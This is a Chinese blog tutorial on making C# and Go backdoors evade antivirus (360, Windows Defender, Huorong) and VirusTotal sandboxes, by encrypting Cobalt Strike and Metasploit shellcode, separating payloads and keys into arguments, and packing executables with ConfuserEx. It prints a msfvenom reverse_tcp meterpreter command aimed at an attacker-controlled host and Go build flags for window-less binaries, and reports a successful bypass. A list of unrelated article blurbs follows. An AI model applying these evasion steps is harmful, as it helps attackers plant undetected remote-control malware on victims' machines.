免杀对抗—GOC#反VT沙盒资源分离混淆加密

前言 

今天的主要内容是反VT沙盒,我们都知道生成的后门会被杀软上穿到沙盒中去运行,去逆向。如此一来我们的后门就很容易被查杀掉,但如果我们对后门进行一些操作,让它在被逆向的时候,反编译出一堆乱码,或者无法反编译,这不就大大提高我们免杀的概率。

实验环境

360,WD,火绒,VT。

C#

原生态

我们先试一下C#原生态上线CS,生成payload。

在VS中新建一个C#的控制台,网上找个C#的加载器替换我们生成的shellcode即可。

生成exe运行上线,不用说原生态包被杀掉的。

混淆加密

用我们前面的混淆思路,试试对shellcode进行加密是否能免杀,无论什么语言思路都是通用的,只要你能用这个语言写出混淆脚本就行。因为脚本比较长就不给大家放了,公开的自己找就行。

这是个加密脚本,把我们的shellcode替换上去,加密key可以改不改也行,然后运行生成加密后的shellcode。

把加密后的shellcode放到解密的脚本里面,先解密再执行,和我们之前说的一样。注意,这里解密的key要和加密的一致,要是你加密的key修改过,解密的也要修改才行。

生成exe然后去检验一下成果,火绒没过。

WD没过,2年前还可以过的。

360没过,说明免杀效果不太好。

至于其它的加密脚本比如base64,XOR啥的自己测试就行了,这里就不多说了。

反沙盒VT

上面我们说过,杀软会把你的文件上传到沙盒或者虚拟机去运行,然后观察行为来确实是否有威胁。那么无非就两种情况,一个是反编译你的文件,逆向出源码。另一个就是运行文件,然后观察行为是否有威胁,这也是常说的动态查杀。C#生成的exe是输入.net可执行文件,我们可以用专门逆向.net的工具来分析试试,这里用到的工具是dnspy。

可以看到刚刚我们混淆生成的consoleApp3.exe这个后门被完全逆向出来了,源码一清二楚。连我这种只会点逆向皮毛的都知道这是后门,更别说杀软了。

我们可以对生成的exe进行加壳,来达到反编译的目的。加壳的工具有很多,可以网上找开源的,也可以花钱去买商业,商业的效果是要比开源的好很多的。

我这里用的是ConfuserEx这个工具,我们先试试效果,直接把要加壳的exe给拖进来。

点击setting,选择我们刚刚拖进来的exe,规则我们选择Maximun,也就是加壳强度最高的。

然后点击protect生成。

会在当前目录下生成一个confused目录,里面就是我们加壳后的exe。

我们再来反编译一下看一下,可以看到旁边多了好多东西,是一开始没有的。我这里截图截取不全,可以自己试试,然后对比一下就OK了。

试试成果,火绒静态查杀能过,但是运行起来就被杀掉了。

WD没问题。

360查杀到。

上面这个就是开源的加壳工具,效果一般般吧。virbox protector这个是要钱的加壳工具,我也没钱买,就申请了一个试用的账号。

同样打开后把exe拖进去,加密选项这里能打勾的都勾上。

不知道为啥一直显示未授权,但是我都申请了试用账号了,既然如此我就不测试这个,有需要的自己试一下就OK。

Golang

原生态

go语言也是近几年免杀比较火的语言,同理先试试原生态。由于没有Go语言的shellcode,我们就生成C的吧,用go来加载C的shellcode。

要注意的是这里接受的是比特流的shellcode,所以要把生成的shellcode中的斜杠替换为0,然后再逗号分割,记得shellcode结尾加逗号表示结束。

cmd输入命令运行即可上线,我这里一运行就被杀了。

go run .\1.go     //直接运行
go build 1.go     //打包成exe运行
go build -ldflags="-H windowsgui -w -s" 1.go  //没有弹窗的exe命令编译

分离+AES加密

还是那句话,思路是所有语言都通用的,只要你写的出来。我们现在试试前面的思路,并且结合起来用,AES加密没啥好说的,就是用Go语言去写一个加解密脚本就行,不会就网上找一个,公开的算法都是有的。这里的分离和之前讲的稍微有点不同,之前是把shellcode分离出去,然后t通过http请求获取。现在是把shellcode和解密的密钥分离出去,以参数的形式获取。

从加密脚本可以看出,confFile的值是由os.Args[1]这个参数传递的,后续也是对confFile进行处理。

可以看到我们运行了3.go这个加密脚本,要加密的shellcode是以参数的形式获取的。

生成了解密的key,和加密后的shellcode。

解密的源码也可以看到,变量key1是由os.Args[1]这个参数传递的,变量payload1是由os.Args[2]这个参数传递的。

运行解密脚本,传递参数。

这边一运行起来火绒就杀掉了。

WD能过,运行起来再查杀还是一样能过,WD查杀powershell比较猛,其它的一般般。

360一样杀了。

这个公开的脚本已经被提取特征了,想要免杀的话有点难。可以试试自己写的脚本或者是内部资源的那种,MFS生成一个16进制的shellcode。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=2222 -f hex

直接对传入的16进制shellcode执行,没有经过加解密。

和上面一样运行的时候再把shellcode作为参数传入,火绒没有告警,成功上线MSF。

编译成exe去检测,火绒免杀成功。

360还是可以查杀到。

WD居然检测到了。

这个脚本是很普通的一个脚本,没有对shellcode做任何处理,但是还是可以过火绒。因为这不是公开的脚本,特征没有被提取到,其实很多公开的脚本并不是说思路或者加密不好,只是使用的人多了,特征已经被杀软提取了,这时候你还想用它免杀是很难的。

上面讲的的分离是把shellcode当做参数去传递,其实还有一种分离是资源分离,就是把生成的payload文件当做资源去读取,类似之前的http获取payload文件,由于网上找到脚本有点问题,自己又不会go,只能放弃介绍了。

反沙盒VT

我们试试对用go生成的exe加壳,看看免杀效果咋样。

直接把exe拖进去,勾选检查虚拟机。

然后生成,我们到虚拟机看看是否能运行起来,可以看到运行之后会弹出提示。

但遗憾的是加壳之后依旧会被杀,这开源的加壳工具没办了。

总结

今天主要讲了两个语言,Go和C#。免杀思路和之前讲的python和C差不多,主要是多了个反沙盒VT的内容,主要是给它加个壳,但开源的工具难免会被杀的。还有一些工具不支持对某些语言编译成的exe去加壳,这时候就得自己写个壳了。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/887889.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【大语言模型-论文精读】用于医疗领域摘要任务的大型语言模型评估综述

【大语言模型-论文精读】用于医疗领域摘要任务的大型语言模型评估综述 论文信息: 用于医疗领域摘要任务的大型语言模型评估:一篇叙述性综述, 文章是由 Emma Croxford , Yanjun Gao 博士 , Nicholas Pellegrino , Karen K. Wong 等人近期合作…

STM32PWM应用

目录 一、输出比较(OC) 二、PWM: 1、简介 2、基本结构 3、参数计算 三、PWM驱动LED呼吸灯 1、代码 四、PWM驱动Sg90舵机 1、工作原理 2、完整代码 五、PWM驱动直流电机 1、TB6612芯片模块 2、完整代码: 一、输出比较(OC) OC(Outp…

智能医疗:Spring Boot医院管理系统开发

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统,它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等,非常适…

【Python】PDFMiner.six:高效处理PDF文档的Python工具

PDF是一种广泛使用的文件格式,特别适用于呈现固定布局的文档。然而,提取PDF文件中的文本和信息并不总是那么简单。幸好有许多Python库可以帮助我们,其中,PDFMiner.six 是一个功能强大、专门用于PDF文档解析的库。 ⭕️宇宙起点 &a…

cnn突破四(生成卷积核与固定核对比)

cnn突破三中生成四个卷积核,训练6万次,91分,再训练6万次,95分,不是很满意,但又找不到问题点,所以就想了个办法,使用三个固定核,加上三层bpnet神经网络,看看效…

王道-数据结构

1 设数组data[m]作为循环队列的存储空间,front为队头指针,rear为队尾指针,则执行出队操作后其头指针front值为____ 答案:D 解析:队列的头指针指向队首元素的实际位置,因此出队操作后,头指针需向上移动一个元素的位置。循环队列的容量为m,所以头指针front加1以后,需…

【d60】【Java】【力扣】509. 斐波那契数

思路 要做的问题:求F(n), F(n)就等于F(n-1)F(n-2),要把这个F(n-1)F(n-2)当作常量,已经得到的值, 结束条件:如果是第1 第2 个数字的时候,没有n-1和n-2,所以…

闯关训练三:Git 基础知识

任务1: 破冰活动:自我介绍 点击Fork目标项目,创建一个新的Fork 获取仓库链接 在连接好开发机的vscode终端中逐行执行以下代码: git clone https://github.com/KelvinIII/Tutorial.git # 修改为自己frok的仓库 cd Tutorial/ git branch -a g…

4. 将pycharm本地项目同步到(Linux)服务器上——深度学习·科研实践·从0到1

目录 前序工作 1. 服务器项目名和本地一致 2. pycharm连接服务器 3. 本地项目对应到服务器项目 4. 简单测试一下同步效果 同步成功 前序工作 在同步到服务器之前,得确保已经完成以下几个前置步骤: 1. 租一个云服务器,可参考&#xff1a…

18734 拓扑排序

### 思路 1. **建模问题**:将课程和依赖关系建模为有向图,其中课程是节点,依赖关系是有向边。 2. **选择算法**:使用拓扑排序算法来确定课程的学习顺序。由于需要确保输出唯一性,同等条件下编号小的课程排在前面&…

WDG看门狗在stm32中的应用

一,WDG看门狗的介绍 看门狗可以监控程序的运行状态,当程序因为设计漏洞、硬件故障、电磁干扰等原因,出现卡死或跑飞现象时,看门狗能及时复位程序,避免程序陷入长时间的罢工状态,保证系统的可靠性和安全性看…

2-114 基于matlab的CA模型

基于matlab的CA模型,Singer模型对单机动目标进行跟踪算法,具有10页实验文档。采用蒙特卡罗方法对一个二坐标雷达对一平面上运动的目标进行观测,得到跟踪滤波结果。程序已调通,可直接运行。 下载源程序请点链接:2-114 …

libcurl网络协议库使用Demo

目录 1 libcurl简介 2 libcurl编译 3 使用步骤 4 函数说明 4.1 全局初始化函数 curl_global_init 4.2 全局释放函数 curl_global_cleanup 4.3 libcurl库版本 curl_version 4.4 开启会话 curl_easy_init 4.5 结束会话 curl_easy_cleanup 4.6 设置传输选项 curl_easy_se…

Stable Diffusion绘画 | 插件-Deforum:动态视频生成(中篇)

本篇文章重点讲解参数最多的 关键帧 模块。 「动画模式」选择「3D」: 下方「运动」Tab 会有一系列参数: 以下4个参数,只有「动画模式」选择「2D」才会生效,可忽略: 运动 平移 X 让镜头左右移动: 大于0&a…

Seata学习

系列文章目录 JavaSE基础知识、数据类型学习万年历项目代码逻辑训练习题代码逻辑训练习题方法、数组学习图书管理系统项目面向对象编程:封装、继承、多态学习封装继承多态习题常用类、包装类、异常处理机制学习集合学习IO流、多线程学习仓库管理系统JavaSE项目员工…

华为eNSP:端口隔离

一,什么是端口隔离 端口隔离是一种网络配置技术,用于将不同的网络设备或用户隔离在不同的虚拟局域网(VLAN)中,以实现网络流量的隔离和安全性提升。通过在交换机或路由器上配置端口隔离,可以将连接到同一设…

【机器学习-无监督学习】概率图模型

【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈Python机器学习 ⌋ ⌋ ⌋ 机器学习是一门人工智能的分支学科,通过算法和模型让计算机从数据中学习,进行模型训练和优化,做出预测、分类和决策支持。Python成为机器学习的首选语言,…

在VS code 中部署C#和avalonia开发环境

要在 Mac 的 VS Code 中配置 C# 和 Avalonia 的开发环境,您可以按照以下步骤进行: 1. 安装 .NET SDK 下载 .NET SDK: 访问 .NET 下载页面。选择适用于 macOS 的最新稳定版本的 .NET SDK,并下载安装程序。安装 .NET SDK&#xff1…

VSCode | 设置Jupyter Notebook显示行号

vscode中的jupyter notebook每个cell都是默认不显示行号的,如果出现了报错,比如在52行出现报错,如果代码多的话不显示行号就有点麻烦,本文介绍如何设置显示行号。 1、VScode点击文件-首选项-设置 2、搜索“python”,点…

约数个数约数之和

好久没发文章了.......不过粉丝还是一个没少...... 今天来看两道超级恶心的数论题目! No.1 约数个数 No.2 约数之和 先来看第一道:约数个数 题目描述 给定 n 个正整数 ai​,请你输出这些数的乘积的约数个数,答案对 10^97 取模 输入格式 第一行包含…